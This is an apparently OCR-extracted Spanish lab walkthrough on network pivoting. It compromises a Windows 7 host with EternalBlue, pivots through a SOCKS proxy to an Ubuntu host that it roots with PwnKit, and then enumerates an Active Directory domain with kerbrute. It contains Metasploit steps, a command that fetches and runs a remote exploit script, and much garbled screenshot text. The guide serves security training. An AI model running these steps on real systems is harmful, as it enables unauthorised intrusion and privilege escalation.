

Laboratorio de Hacking y Pivoting

Laboratorio



Contenido

1.	CONFIGURACION INICIAL.	3
	2. ASIGNACIÓN DE INTERFACES	4
	3. ACCESO A MÁQUINA WINDOWS 7	7
	4. CONFIGURACIÓN PROXY SOCKS	8
	5. DESCUBRIR LA RED #2.	8
	6. ACCESO A MÁQUINA UBUNTU	9
	7. ESCALADA DE PRIVILEGIOS UBUNTU	11
	8. DESCUBRIR LA RED #3	13
	9. ACCESO A MÁQUINA AD	14
	10. KERBEROS TGT y TGS	18
	11. ELEVACIÓN DE PRIVILEGIOS AD Y VOLCADO DE NTDS	20
	12. CONEXION COMO ADMINISTRADOR	22
A	utor de esta guía	23



Laboratorio Pivoting



1. CONFIGURACION INICIAL.

Configuramos 3 redes virtuales desde Virtualbox o VMware Workstation:

Accedemos al LAN Manager:



Configuramos las interfaces:



Adaptador Servidor DHCP	
✓ Habilitar servidor	
Dirección del servidor:	192.168.68.2
Mäscara del servidor:	255.255.255.0
Límite inferior de direcciones:	192.168.68.3
Límite superior de direcciones:	192.168.68.13
Adaptador Servidor DHCP	
✓ Habilitar servidor	
Dirección del servidor:	192.168.47.2
<u>M</u> áscara del servidor:	255.255.255.0
Límite inferior de direcciones:	192.168.47.3
Límite superior de direcciones:	192.168.47.13
Adaptador Servidor DHCP	
✓ Habilitar servidor	
Dirección del servidor:	192.168.103.2
Máscara del servidor:	255.255.255.0
Límite inferior de direcciones:	192.168.103.3
Limite superior de direcciones:	192.168.103.13

2. ASIGNACIÓN DE INTERFACES

Kali Linux: Solamente tendremos 1 interfaz en modo "Adaptador Puente" y seleccionamos la interfaz Ethernet o Wifi dependiendo como estemos conectados desde nuestro equipo, esto será para que tengamos internet en nuestro Kali sin que sean redes internas restringidas.

😳 Pe	ntest kali - Configuraci	ión					—		\times
	General	Red							
	Sistema	Adaptador 1	Adaptador 2	Adaptador 3	Adaptador 4				
	Pantalla	Enable Netv	vork Adapter						
\bigcirc	Almacenamiento		Conectado a:	Adaptador puente	~				
	Audio		Nombre:	Realtek Gaming 2.5	GbE Family Contro	oller			~
	Red	Advance	ced						
	Reu								
	Puertos serie								
	USB								
	Carpetas compartidas								
	Interfaz de usuario								
						Aceptar	Cancelar	Ауц	ıda



Windows 7:

Esta máquina debe tener 2 interfaces de red:

- La primera debe estar en "Adaptador puente" para que tenga comunicación con nuestra Kali.
- La segunda debe estar en "Adaptador Solo-Anfitrión" y seleccionaremos el "Ethernet Adapter #2"

	General	Red				
	Sistema	Adaptador 1 Adaptador 2	2 Adaptador 3 Adaptador	4		
	Pantalla	Enable Network Adapter				
	Almacenamiento	Conectado a:	Adaptador puente	\sim		
	Audio	Nombre:	Realtek Gaming 2.5GbE Family Co	ontroller		~
	Red	Advanced				
	Durantas seria					
	Puertos serie					
Ľ	USB					
	Carpetas compartidas					
	Interfaz de usuario					
				Aceptar	Cancelar	Ayuda
	General	Red				
	General Sistema	Red Adaptador 1 Adaptador	2 Adaptador 3 Adaptador	r 4		
	General Sistema Pantalla	Red Adaptador 1 Adaptador Enable Network Adapter	2 Adaptador 3 Adaptado	r 4		
	General Sistema Pantalla Almacenamiento	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a:	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión	r 4 V		
	General Sistema Pantalla Almacenamiento Audio	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre:	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 V dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 V dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 ✓ dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 V dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	v #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas	Red Adaptador 1 Adaptador Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	v dapter #2		v
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 v dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador Enable Network Adapter Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	v #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 dapter #2		~
	General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador Conectado a: Nombre: Advanced	2 Adaptador 3 Adaptador Adaptador sólo-anfitrión VirtualBox Host-Only Ethernet A	r 4 dapter #2 Aceptar	Cancelar	×

<u>Ubuntu:</u>

Esta máquina debe tener 2 interfaces de red:

• La primera debe estar en "Adaptador Solo-Anfitrión" y seleccionaremos el "Ethernet Adapter #2" para que tenga comunicación con la Windows 7



• La segunda debe estar en "Adaptador Solo-Anfitrión" y seleccionaremos el "Ethernet Adapter #3"

	Ubuntu - Configuración					-		×
	General	Red						
8	Sistema	Adaptador 1 Adaptador 2	Adaptador 3	Adaptador 4				
	Pantalla	Enable Network Adapter						
	Almacenamiento	Conectado a: Ada	ptador sólo-anfit	trión	~			
(🕨 Audio	Nombre: Virtu	ialBox Host-Only	Ethernet Ada	pter #2			~
	Red							
1	Puertos serie							
	S USB							
	Carpetas compartidas							
Ξ	Interfaz de usuario							
				_				
				l	Aceptar	Cancelar	Ayu	ida
~								
Ο ι	buntu - Configuración					-		\times
ູງ ເ	buntu - Configuración General	Red				-		×
	ibuntu - Configuración General Sistema	Red Adaptador 1 Adaptador 2 Ad	daptador 3	Adaptador 4		_		×
	General Sistema Pantalla	Red Adaptador 1 Adaptador 2 Ad Enable Network Adapter	daptador 3	Adaptador 4		-		×
	lbuntu - Configuración General Sistema Pantalla Almacenamiento	Red Adaptador 1 Adaptador 2 Ac Enable Network Adapter Conectado a: Adapt	daptador 3 ador sólo-anfitrio	Adaptador 4 ón V		_		×
	lbuntu - Configuración General Sistema Pantalla Almacenamiento Audio	Red Adaptador 1 Adaptador 2 Ad Enable Network Adapter Conectado a: Adapt Nombre: Virtual	daptador 3 // ador sólo-anfitrio Box Host-Only E	Adaptador 4 ón V	ter #3	-		×
	lbuntu - Configuración General Sistema Pantalla Almacenamiento Audio Red	Red Adaptador 1 Adaptador 2 Ac P Enable Network Adapter Conectado a: Adapt. Nombre: Virtual Advanced	daptador 3 // ador sólo-anfitria Box Host-Only E	Adaptador 4 ón – V :thernet Adap	ter #3	_		×
	buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie	Red Adaptador 1 Adaptador 2 Ad Pable Network Adapter Conectado a: Adapt Nombre: Virtual Advanced	daptador 3 ador sólo-anfitri Box Host-Only E	Adaptador 4 ón ~	ter #3	_		×
	Buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB	Red Adaptador 1 Adaptador 2 Ac P Enable Network Adaptar Conectado a: Adapt Nombre: Virtual Advanced	daptador 3 // ador sólo-anfitria Box Host-Only E	Adaptador 4 ón V	ter #3	_		×
	buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas	Red Adaptador 1 Adaptador 2 Ar Conectado a: Adapta Nombre: Virtual Advanced	daptador 3 // ador sólo-anfitri Box Host-Only E	Adaptador 4 ón V	ter #3	_		×
	buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador 2 Ac Enable Network Adaptar Conectado a: Adapta Nombre: Virtual Advanced	daptador 3 /	Adaptador 4 ón V	ter #3			×
	buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador 2 Ac P Enable Network Adapter Conectado a: Adapt Nombre: Virtual Advanced	daptador 3 ador sólo-anfitri Box Host-Only E	Adaptador 4 ón – v thernet Adap	ter #3			×
	Ibuntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador 2 Ac Enable Network Adapter Conectado a: Adapta Nombre: Virtual Advanced	daptador 3 /	Adaptador 4 ón V	ter #3			×
	buntu - Configuración General Sistema Pantalla Almacenamiento Audio Red Puertos serie USB Carpetas compartidas Interfaz de usuario	Red Adaptador 1 Adaptador 2 Ad P Enable Network Adaptar Conectado a: Adapt Nombre: Virtual Advanced	daptador 3 /	Adaptador 4 ón V	ter #3			×

Active Directory:

Esta máquina debe tener 1 interfaz de red:

 Debe estar en "Adaptador Solo-Anfitrión" y seleccionaremos el "Ethernet Adapter #3" para que tenga comunicación con la Ubuntu



	General	Red
	Sistema	Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
	Pantalla	Enable Network Adapter
\bigcirc	Almacenamiento	Conectado a: Adaptador sólo-anfitrión
	Audio	Nombre: VirtualBox Host-Only Ethernet Adapter #3
	Red	
	Puertos serie	
Ø	USB	
	Carpetas compartidas	
•	Interfaz de usuario	
		Aceptar Cancelar Ayuda

3. ACCESO A MÁQUINA WINDOWS 7

Es una máquina Windows 7 con una vulnerabilidad muy fácil de explotar, un simple Eternalblue. Podemos identificarlo haciendo un escaneo con nmap, el escáner de Autoblue o el módulo de metasploit.

En este caso, no nos complicamos y lo explotamos con metasploit:

Iniciamos metasploit con "msfconsole" y buscamos el exploit ms17_010, configuramos el RHOST y el TARGET.

Match	ning Modules				
#	Name	Disclosure Date	Rank	Check	Description
-					
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
. 4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14		Yes	SMB DOUBLEPULSAR Remote Code Execution

Obtenemos una Shell de meterpreter como NT AUTHORITY/SYSTEM, la enviamos a "background" oprimiendo la combinación de teclas "Control + z".

<pre>msf6 exploit(windows/smb/msi7_010_eternalblue) > sessions</pre>							
Active ses	sions						
Id Name 	Type meterpreter x64/windows	Information NT AUTHORITY\SYSTEM @ W7-PIVOTING	Connection 				

Dentro de la sesión de la máquina Windows 7 ejecutamos "ipconfig" y nos damos cuenta de que tiene 2 interfaces de red, así que en el siguiente paso agregaremos una ruta en metasploit para que podamos tener comunicación con esa red, desde nuestra máquina Kali.



4. CONFIGURACIÓN PROXY SOCKS

Agregamos la ruta usando el módulo "autoroute" de metasploit y asociamos la sesión de meterpreter que tenemos de la máquina Windows 7. Otra opción para agregar la ruta, es usar el comando "route add" o si no queremos usar metasploit podemos usar las herramientas Chisel y Socat, en este caso seguiremos con metasploit.

Una vez agreguemos la ruta, ejecutamos el comando "route" y se deben visualizar las siguientes rutas asociadas a la "sesión 1"

<pre>msf6 post(multi/manage/autoroute) > route</pre>						
IPv4 ^C Active Routing	Table					
Subnet	Netmask	Gateway				
192.168.1.0	255.255.255.0	Session 1				
192.168.141.0	255.255.255.0	Session 1				
<pre>[*] There are currently no IPv6 routes defined. msf6 post(multi/manage/autoroute) ></pre>						

Configuramos el servidor "Socks Proxy"

IMPORTANTE: En el archivo de configuración de proxychains /etc/proxychains4.conf, debe estar la misma versión de socks que usaremos para levantar el servidor desde metasploit:

En este caso la versión es Socks4, pero en metasploit está como 4a, asignamos el puerto del servidor socks y lo ejecutamos.

Basic opti Name SRVHOST SRVPORT VERSION	ons: Current Setting 127.0.0.1 1080 4a	Required yes yes yes yes	Description 	rk interfa e (Accepte	<pre># [ProxyList]</pre>	 "tor" 1080
<u>msf6</u> auxi Jobs ——	iliary(<mark>server/s</mark>	ocks_prox	y) > jobs			
Id Nan 	ne — kiliary: server,	/socks_pr	Payload Payload 	opts		

5. DESCUBRIR LA RED #2.

Usamos el módulo "ping_sweep" de metasploit con el rango de IPs de la red #2 192.168.141.0/24 y la sesión 1.



Basic opti Name RHOSTS SESSION	Cons: Current Setting 192.168.141.0/24 1	Required yes yes	Description IP Range to perform ping sweep against The session to run this module on	
<u>msf6</u> post [*] Perfo [+] 1 [+] 1 [+] 1 [+] 1	(multi/gather/pi prming ping sweep .92.168.141.2 hos .92.168.141.8 hos .92.168.141.7 hos .92.168.141.1 hos	ng_sweep) for IP ra t found t found t found t found t found	> run ange 192.168.141.0/24	

En este caso la maquina Ubuntu tiene la IP 192.168.141.7

6. ACCESO A MÁQUINA UBUNTU

Sabiendo la IP de la máquina, haremos un escaneo de puertos usando el módulo de metasploit "portscan/tcp", asignamos el rango de puertos que queremos analizar y lo ejecutamos.

```
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.141.7
RHOSTS ⇒ 192.168.141.7
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.141.7: - 192.168.141.7:22 - TCP OPEN
[+] 192.168.141.7: - 192.168.141.7:21 - TCP OPEN
[+] 192.168.141.7: - 192.168.141.7:80 - TCP OPEN
[+] 192.168.141.7: - 192.168.141.7:111 - TCP OPEN
[+] 192.168.141.7:
```

Identificamos que el puerto 21 ftp está abierto.

Nos conectamos usando el usuario "anonymous" ya que se tiene habilitado el acceso anónimo.

Debemos tener en cuenta que desde nuestro Kali no tenemos comunicación con la Ubuntu ya que está en otro segmento de red, por lo cual, debemos usar el servidor Socks_proxy que levantamos antes. Para esto nos conectaremos por FTP a la máquina Ubuntu usando proxychains.



-(root@ kal	1)-[/h	ome/kali]		
🛏 🗕 🛏 🛏 🛏	ins ftp	192.168.141.		
[proxychains]	confi	g file found:	/etc/proxychains4.conf	
[proxychains]	prelo	ading /usr/li	b/x86_64-linux-gnu/libproxychains.so.4	
[proxychains]	DLL i	nit: proxycha	ins-ng 4.16	
[proxychains]	Stric	t chain	127.0.0.1:1080 192.168.141.7:21 OK	
Connected to	192.16	8.141.7.		
220 (vsFTPd 3	.0.2)			
Name (192.168	3.141.7	:kali): anonv	mous	
331 Please sn	ecify	the password.		
Password:				
230 Login suc	cossfil	10		
Remote system	tyne	is UNTX		
Using hinary	mode t	n transfer fi	les	
ftn> dir	mode e	o cransier i r		
220 Entering	Extend	ad Dassiva Mo	de (15147)	
[provuchains]	Stric	t chain		
150 Horo come	the	directory lis	127.0.0.1.1000 192.100.141.7.15147 0K	
130 Here come	1 0		140 Nov 05 2022 data	
daman ya y	2 0	0	140 Nov 00 2022 uata	
	1 0	0	225 Mar 03 15:10 bictony	
-1w-11	1 0	0	223 Mar 05 13.12 History	
-rw-rr	1 0	v		
-rw-rr	10	U Q	336 NOV 06 2022 mstconsole	
drwxr-xr-x	50		4096 Nov 06 2022 Ssna-poison	
226 Directory	sena	UK.		
ftp> get hist	ory			
local: histor	y remo	te: history		
229 Entering	Extend	ed Passive Mo	de (52511).	
[proxychains]	Stric	t chain	127.0.0.1:1080 192.168.141.7:52511 OK	
150 Opening E	SINARY	mode data con	nection for history (225 bytes).	
100% ******	*****	*********	***************************************	***
226 Transfer	comple	te.		
225 bytes rec	eived	in 00:00 (0.6	7 KiB/s)	
ftp>				

Encontramos una lista de archivos, entre ellos un archivo llamado "history" que muestra un move de un archivo id_rsa al directorio raíz del servicio apache /var/www/html, y dentro, un directorio "/recuperación" y un archivo "config.txt"



También hemos identificado que el puerto 80 de la máquina está abierto.

Abriremos el navegador Firefox usando proxychains y la IP de la máquina Ubuntu.



Podemos intentar hacer fuzzing con dirbuster, wfuzz, gobuster o alguna otra herramienta, pero la ruta que nos interesa no la encontraremos si usamos diccionarios como Rockyou, por lo cual, podemos usar diccionarios como Kaonashi, o diccionarios en castellano.



Recordemos que en el fichero history identificamos una ruta llamada /recuperación/config.txt

Por lo cual, accederemos directamente a esa ruta.



Identificamos un usuario y una contraseña

El puerto 22 SSH de la máquina Ubuntu está habilitado, así que nos conectamos desde metasploit con el módulo "ssh_login", también podemos conectarnos por proxychains desde nuestra Kali, pero lo haremos desde metasploit para tener otra sesión desde la que podamos agregar una ruta nueva para la red #3.

Buscamos "ssh_login" configuramos los datos de autenticación, RHOST, USER y PASSWORD.

msf6 auxiliary	<pre>would execution comple y(scanner/ssh/ssh_login)</pre>	ved > sessions	mazilla ang A	
Active sessio	nstrict chain 137 — mict chain 137			
Id Name T 1 m 2 s	ype meterpreter x64/windows bell linux	Information NT AUTHORITY\SYSTEM @ 1	W7-PIVOTING	Connection - 192.168.1.144:4444 → 192.168.1.145:49158 (192.168.1.145) 192.168.1.44.142.168.1.145:51828 → 192.168.141.7.22 (192.168.141.7)

Entramos a la shell con "sessions -i 2"



Somos el usuario "ifp", así que iniciamos la escalada de privilegios

7. ESCALADA DE PRIVILEGIOS UBUNTU

Buscamos binarios con permisos SUID en la máquina:

find / -type f -user root -perm -4000 2>/dev/null





En este caso nos aprovecharemos del binario **/usr/bin/pkexec** ya que existe una vulnerabilidad llamada Pwnkit que permite elevar privilegios a root.

Desde nuestra máquina Kali debemos descargar el exploit usando el siguiente comando:

sh -c "\$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Recordemos que la máquina Ubuntu no tienen internet, así que tenemos que descargarlo desde nuestra Kali y transferir el script a la Ubuntu



Con proxychains lo subimos a la sesión de ssh con scp (ruta del archivo en la kali) -> (ruta en la sesión ssh)

proxychains scp /home/kali/Pwnkit ifp@(IP Ubuntu):/tmp



Background Session 2: [y/N] y
root@kali)-[/home/kali]
- roxychains scp /home/kali/PwnKit ifp@192.168.141.7:/tmp
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain 127.0.0.1:1080 192.168.141.7:22 OK
The authenticity of host '192.168.141.7 (192.168.141.7)' can't be established.
ED25519 key fingerprint is SHA256:P66mXCZ+aWqQEY7xspSR/w8gqbbgRck2OlQklRW/J6k.
This host key is known by the following other names/addresses:
disca/.ssh/known hosts:4:[hashed name]:19100-000
/.ssh/known_hosts:6: [hashed_name] 19.000-lock
divo~/.ssh/known_hosts:7:0[hashed_name] 19 .001-0010
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.141.7' (ED25519) to the list of known hosts.
ifp@192.168.141.7's password:
PwnKit is not a tty

Entramos en la sesión de ssh en meterpreter vamos al directorio /tmp y verificamos que esta subido el script *PwnKit*. Ejecutamos el exploit y ya somos root.

mefe = uviliamu(reducen/reb/erb legin) > coscions i 2
<u>msto</u> auxiliary(scanner/ssn/ssn_login) > sessions -1 2
[*] Starting interaction with 2 Kit inputs2.168.141.777
cdr/tmp_ains] preloading /usr/lib/x86_64-linux-gnu/libprox
lsroxychains] DLL init: proxychains-ng 4.16
<pre>PwnKitchains] DLL init: proxychains-ng 4.16</pre>
ls r =la chains] Strict chain 127.0.0.1:1080 192.
totalu40enticity of host '192.168.141.7 (192.168.141.7)' c
drwxrwxrwt/ 4iroot/root i4096AJun:F6/19:24:WqQEY7xspSR/w8g
drwxr=xr=xk23 root/roothy4096 Mari10in2019ha. names/addres
drwxrwxrwt/%2 root/root%4096sJun 6019:19 .ICE-unix
-rwxr-xr-x/01/ifp001fp00180400Jun 00019:24 PwnKit
-r - r + r + h/(1) root(root(11)) 11 Jun (6)19:19 .X0-lock
drwxrwxrwt/k2=root=root7=4096sJun=6m19:19 .X11-unix
cdePwnKiture you want to continue connecting (yes/no/[fing
<pre>#sh:i7: cd::can^ttrcd to/PwnKit2.168.141.7' (ED25519) to th</pre>
1/PwnKit168.141.7's nassword:
stdin: is not a tty
id
uid- $\theta(root)$ gid- $\theta(root)$ groups- $\theta(root)$ 1001(ifn)
did=0(100t) gid=0(100t) groups=0(100t),1001(11p)

8. DESCUBRIR LA RED #3

Verificamos las IPs de la máquina Ubuntu, identificamos la red #3.



Ya conocemos la siguiente red "192.168.223.0/24"

Añadimos la ruta de la red #3:



route add 192.168.223.0/24 4

Verificamos las rutas con las sesiones correspondientes con el comando route



Usamos el módulo "ping_sweep" para descubrir la IP correspondiente a la máquina AD.

<pre>msf6 post(multi/gather/ping_sweep) > run</pre>				
<pre>[*] Performing ping sweep for IP range 192.168.223.0/24 [+] 192.168.223.1 host found [+] 192.168.223.2 host found [+] 192.168.223.7 host found [+] 192.168.223.11 host found</pre>				

Identificamos que la IP es "192.168.223.11"

Ejecutamos un "portscan/tcp"

<u>msf6</u> auxiliary(<u>scanner/pg</u> RHOSTS ⇒ 192.168.223.11 <u>msf6</u> auxiliary(<u>scanner/pg</u>	prtscan/tcp) > set RHOSTS 192.168.223.11 prtscan/tcp) > run
[+] 192.168.223.11:	- 192.168.223.11:53 - TCP OPEN
[+] 192.168.223.11:	- 192.168.223.11:80 - TCP OPEN
[+] 192.168.223.11:	- 192.168.223.11:81 - TCP OPEN
[+] 192.168.223.11:	- 192.168.223.11:88 - TCP OPEN
[+] 192.168.223.11:	- 192.168.223.11:135 - TCP OPEN
[+] 192.168.223.11:	- 192.168.223.11:139 - TCP OPEN

Descubrimos el puerto 88 Kerberos y el 53 DNS, posiblemente un DC:

Lo primero será descubrir el dominio.

9. ACCESO A MÁQUINA AD

Identificamos el dominio

proxychains crackmapexec smb 192.168.223.11

ConstBillD://Mose/kali >= proxychains crackmapsec amb 192.166.223.11 [proxychains] config file found: /etc/proxychains.conf [proxychains] Dull init: proxychains-ng 4.16 [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:145 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK

Agregamos el nombre de dominio al fichero hosts (DNS).

nano /etc/hosts



GNU nano 7.2	
192.168.223.11	examen.local168.223.11:81
192.168.215.6	oifp:local found: /etc/proxychains4.com
127:0:0b1ins] p	rlocalhost/usr/lib/x86_64-linux-gnu/lil
127:0:1:1ins] D	l kali it: proxychains-ng 4.16
<pre>::1oxychains] D</pre>	<pre>llocalhostmip6=localhostmip6-loopback</pre>
ff02::1hains] D	l ip6-allnodes /chains-ng 4.16
ff02::2hains] D	lip6-allroutershains-ng 4.16
Ennewyshield D	

Puerto 81:

[prox [prox	kali® kal proxychai (ychains] (ychains] (ychains]	i)-[~] ns fir confi prelo DLL i	efox gofil ading nit:	192.16 e foun /usr/ proxycl	B.223. d:/et lib/x8 hains-	11:81 c/prox 6_64-1 ng 4.3	68. Kycl Lin 16
$\leftarrow \rightarrow$	C G		0	192.1	68.223.1 [°]	1 :81	
🔍 Kali I	_inux 😚 Kali	Tools 🧧	Kali Doo	:s 🐹 Kali	Forums		let⊦
/estudi	0						

/ifp

/examen

Tal vez más??

Dentro de /ifp nos encontramos una lista de usuarios la cual guardaremos para probarlos con kerbrute.



¿Que hace el protocolo SMB? ¿Recursos compartidos? ¿Ca

daniel luis ignacio lloel putin sergio julian joan

Probaremos si estos usuarios son válidos en el dominio, usamos la herramienta "kerbrute".

pip3 install kerbrute





Guardamos la lista de usuarios en un fichero usuarios.txt

proxychains kerbrute -domain examen.local -users usuarios.txt

<pre>(reor@keli)-[/home/kali] proxychains kerbrute -domain [proxychains] config file found: [proxychains] preloading /usr/lil [proxychains] DLL init: proxychains]</pre>	examen.local -us /etc/proxychains b/x86_64-linux-gr ins-ng 4.16	sers 54.co nu/li	usuarios.txt nformand bproxychains.so.4		
Impacket v0.10.0 - Copyright 2022	2 SecureAuth Corp	oorat	10N		
[provychains] Strict chain	127 0 0 1.1080		EXAMEN LOCAL .88		OK
[proxychains] Strict chain	127.0.0.1:1080		EXAMEN.LOCAL:88		OK
[proxychains] Strict chainer	127.0.0.1:1080	isFa	EXAMEN.LOCAL:88	SESS	ок
[proxychains] Strict chain co	127.0.0.1:1080		EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080		EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080		EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080		EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080		EXAMEN.LOCAL:88		OK
[*] Valid user ⇒ julianp for IP					
[proxychains] Strict chain found	127.0.0.1:1080		EXAMEN.LOCAL:88		ОК
[*] No passwords were discovered	:'(

Vemos que el usuario "julian" es un usuario valido del dominio, pero ningún usuario tiene la Flag "dont_req_preauth", es decir, un usuario al que le podamos solicitar un TGT y así crackear su contraseña.

Seguimos buscando. Usaremos dirbuster para hacer fuzzing y encontrar rutas, subdominios y archivos de la web.

proxychains dirbuster

<pre>(root@kali)-[/home/kali]</pre>
OWASP DirBuster 10-RC1 - Web Application Brute Forcing
File Options About Help
Target URL (eg http://example.com:80/)
http://examen.local:81/
Work Method Use GET requests only O Auto Switch (HEAD and GET) Number Of Threads IO Threads Go Faster Select scanning type: O List based brute force
File with list of dirs/files
Instrumentation Instrumentation Instrumentation Char set a-2A-20-9%20 Min length Instrumentation
Select starting options: Standard start point URL Fuzz
✓ Brute Force Dirs ✓ Be Recursive Dir to start with /
Brute Force Files Use Blank Extension File extension .txt
URL to fuzz - /test.html?url={dir}.asp
192.168.223.11:81
Bi Exit ▷ Start DirBuster Stopped /global/09txt



۲	OWASP DirBuster 1.0-RC1 - Web Appl	ication Brute Forcing	$\bigcirc \bigcirc \otimes$
File Options	About Help		
http://examen.	local:81/		
Scan Information	rmation Results - List View: Dirs: 6 Files: 0 Resu	ults - Tree View \ 🔥 Errors: 0 \	
Туре	Found	Response	Size
Dir	1	200	317
Dir	/blog/	403	1398
Dir	/articles/	403	1398
Dir	/profile/	403	1398
Dir	/services/	403	1398
Dir	/email/	403	1398
Dir	/global/	403	1398

Encontramos un directorio "/profile", lo analizaremos de nuevo:

۲	OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing) 🔘 🎗
File Options Abou	ut Help	
Target URL (eg http:/	//example.com:80/)	
http://examen.local:8	81/profile/	
Work Method	\bigcirc Use GET requests only \bigodot Auto Switch (HEAD and GET)	
Number Of Threads	10 Threads 🗌 Go Faster	
Select scanning type File with list of dirs/file	e: ① List based brute force ○ Pure Brute Force 	
/usr/share/dirbuster/	/wordlists/directory-list-lowercase-2.3-medium.txt	
Char set a-zA-ZO-99	%20 Min length 1 Max Length 8	
Select starting option	ns: ③ Standard start point 〇 URL Fuzz	
Brute Force Dirs	✓ Be Recursive Dir to start with /	
Brute Force Files	Use Blank Extension File extension .txt	
URL to fuzz - /test htm	ml?url={dir} asp	

Encontramos un fichero users.txt

July Scanning	Scar mormation results - List view, bills of mesh 1 (Results - free view (M Errors; 0 (
Туре	Found 📥	Response	Size				
Dir	/	200	317				
Dir	/articles/	403	1398				
Dir	/blog/	403	1398				
Dir	/email/	403	1398				
Dir	/global/	403	1398				
Dir	/profile/	403	1398				
File	/profile/users.txt	200	275				
Dir	/services/	403	1398				



Haremos de nuevo un análisis con kerbrute

proxychains kerbrute -domain examen.local -users usuarios.txt



<pre>(reat@kali)-[/home/kali] proxychains kerbrute -domain examen.local -users usuarios.txt [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation</pre>				
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[*] Valid user ⇒ ifp_asrep [NOT	PREAUTH]			
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[*] Valid user ⇒ guille				
